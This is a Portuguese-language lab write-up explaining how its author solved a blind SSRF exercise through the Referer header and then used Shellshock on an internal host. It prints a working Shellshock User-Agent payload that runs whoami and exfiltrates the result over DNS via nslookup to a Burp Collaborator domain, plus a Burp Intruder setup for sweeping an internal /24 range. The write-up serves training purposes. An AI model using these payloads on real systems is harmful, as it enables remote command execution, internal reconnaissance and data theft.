Objetivo do laboratório

O objetivo do laboratório era explorar uma vulnerabilidade de Blind SSRF utilizando o header Referer para atingir um servidor interno na faixa 192.168.0.X:8080.

Além disso, era necessário explorar uma vulnerabilidade Shellshock no servidor interno para exfiltrar o nome do usuário do sistema operacional utilizando o Burp Collaborator.

Entendendo o funcionamento do laboratório

O site utilizava um sistema de analytics que fazia uma requisição para a URL especificada no header:

Referer:

Sempre que uma página de produto era carregada, o servidor acessava o endereço informado nesse header. Isso caracterizava uma vulnerabilidade SSRF.

Como não existia retorno direto da resposta do servidor interno para a aplicação, tratava-se de um Blind SSRF.

Primeira dificuldade — Entender o que era Shellshock

No início eu não sabia exatamente o que era Shellshock e como ele funcionava. Então comecei pesquisando rapidamente no Google para entender melhor a vulnerabilidade.

Durante a pesquisa utilizei como referência o artigo "Inside Shellshock" da Cloudflare:

Cloudflare — Inside Shellshock

Descobri que, se um servidor web estiver vulnerável ao Shellshock, é possível executar comandos através de headers HTTP utilizando uma sintaxe específica:

() { :; };

Normalmente o header User-Agent serve apenas para identificar o navegador do usuário. Porém, em servidores vulneráveis ao Shellshock, ele pode acabar sendo interpretado pelo Bash, permitindo execução de comandos no sistema.

Um exemplo simples encontrado durante a pesquisa foi:

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

Nesse exemplo, o comando /bin/eject seria executado no servidor vulnerável.

Primeiros testes

Minha primeira tentativa foi simplesmente colocar o domínio do Burp Collaborator diretamente na requisição:

Referer: http://xxxx.oastify.com

Porém isso não retornou nada útil no Collaborator.

Depois de pesquisar mais um pouco, entendi que o objetivo do Shellshock era justamente permitir executar comandos no servidor interno utilizando o SSRF para atingir hosts da rede interna.

Depois de entender isso, fui montando o payload parte por parte (com muitos erros inicialmente):

() { :; };

Essa primeira parte serve para ativar a vulnerabilidade Shellshock.

Depois adicionei o:

/usr/bin/nslookup

O nslookup é um comando utilizado para realizar consultas DNS.

A ideia aqui era fazer o servidor realizar uma requisição DNS para o Burp Collaborator.

A próxima parte era descobrir o nome do usuário do SO (que era o objetivo do lab):

$(/usr/bin/whoami)

O comando:

whoami

retorna o nome do usuário atual do sistema operacional.

O $() faz com que o resultado do comando seja inserido diretamente na linha de comando.

Por exemplo, se o usuário do sistema fosse:

name-teste

o payload acabaria se transformando em algo parecido com:

/usr/bin/nslookup name-teste.xxxx.oastify.com

Isso faria o servidor realizar uma consulta DNS para:

name-teste.xxxx.oastify.com

Resultou nesse comando aplicado no User-Agent:

User-Agent: () { :; }; /usr/bin/nslookup $(/usr/bin/whoami).xxxx.oastify.com

A ideia desse payload de forma resumida era:

1. Executar o comando:

whoami

2. Obter o usuário do sistema operacional

3. Enviar o resultado via DNS para o Burp Collaborator utilizando nslookup

Depois disso alterei o header Referer para:

Referer: http://192.168.0.1:8080

Na tentativa de acessar o servidor interno.

A requisição retornava normalmente (200 ok), porém ainda não aparecia nada no Collaborator.

Descobrindo o host correto

Depois de um tempo percebi um detalhe importante na descrição do laboratório:

192.168.0.X:8080

O X indicava que o host poderia estar em qualquer IP entre 0 e 255.

Então utilizei o Burp Intruder para automatizar os testes.

Configurando o Intruder

Enviei a requisição para o Intruder e marquei apenas o último octeto do IP:

Referer: http://192.168.0.§1§:8080

No Burp Intruder, o símbolo:

§

é utilizado para identificar uma posição de payload.

Quando um valor fica entre §, isso significa que o Burp irá substituir aquele trecho automaticamente durante o ataque.

Exemplo:

Referer: http://192.168.0.§1§:8080

Nesse caso, apenas o número entre os símbolos § será alterado pelo Intruder.

Como o ataque foi configurado no modo Numbers, o Burp substituiu automaticamente esse valor por números de 0 até 255, gerando requisições como:

Referer: http://192.168.0.0:8080
Referer: http://192.168.0.1:8080
Referer: http://192.168.0.2:8080

e assim sucessivamente.

Isso permitiu automatizar a enumeração de hosts internos da rede 192.168.0.X.

Configuração utilizada:

• Attack type: Sniper
• Payload type: Numbers
• From: 0
• To: 255
• Step: 1

O Burp então começou a testar todos os hosts da faixa 192.168.0.0/24.

Obtendo a resposta no Collaborator

Após finalizar o ataque, utilizei a opção:

Poll now

no Burp Collaborator.

Finalmente apareceu uma interação DNS contendo:

peter-g4xJ2v

Isso indicava que o payload Shellshock havia executado corretamente no servidor interno e conseguido exfiltrar o nome do usuário do sistema operacional.

Com isso, o laboratório foi concluído com sucesso.

Conclusão

Esse laboratório foi importante para entender na prática:

• Blind SSRF
• Uso do Burp Collaborator
• Exploração de Shellshock
• Enumeração de hosts internos
• Exfiltração de dados via DNS

Além disso, mostrou como pequenas informações presentes na descrição do laboratório, como o 192.168.0.X, podem ser essenciais para encontrar a solução correta.